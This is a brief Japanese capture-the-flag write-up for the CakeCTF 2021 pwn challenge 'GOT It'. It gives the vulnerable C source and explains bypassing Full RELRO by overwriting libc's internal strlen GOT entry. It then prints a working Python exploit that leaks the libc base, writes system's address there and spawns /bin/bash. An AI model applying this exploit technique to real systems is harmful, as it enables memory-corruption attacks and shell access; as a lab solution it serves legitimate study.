# [pwn] GOT It - CakeCTF 2021 ###### tags: `CakeCTF 2021` ```clike= #include <stdio.h> #include <unistd.h> void main() { char arg[10] = {0}; unsigned long address = 0, value = 0; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); printf("<main> = %p\n", main); printf("<printf> = %p\n", printf); printf("address: "); scanf("%p", (void**)&address); printf("value: "); scanf("%p", (void**)&value); printf("data: "); scanf("%9s", (char*)&arg); *(unsigned long*)address = value; puts(arg); _exit(0); } ``` エーめちゃくちゃ簡単じゃん。名前のとおりに`puts@got`を書き換えたら終わりでは! とおもったがFull RELRO これはmiscっぽいんですが、libc自体もGOTみたいなセクションをもっていて、一部の関数はこれ経由で呼び出される。gdbでlibcの書き込み可能な領域をちまちま見ていたところ`__strlen_avx2` みたいな関数へのGOT entryがあり、`puts`でいかにも呼ばれていそうだったのでこれを書き換えた ```python= from ptrlib import Socket, ELF, p64 libc = ELF("./libc-2.31.so") sock = Socket("localhost", 9003) libc_base = int(sock.recvlineafter("<printf> = "), 16) - libc.symbol("printf") print(hex(libc_base)) strlen_got_offset = 0x1eb0a8 strlen_got_addr = libc_base + strlen_got_offset system_addr = libc_base + libc.symbol("system") sock.sendlineafter("address: ", hex(strlen_got_addr)) sock.sendlineafter("value: ", hex(system_addr)) sock.sendlineafter("data: ", "/bin/bash") sock.interactive() ```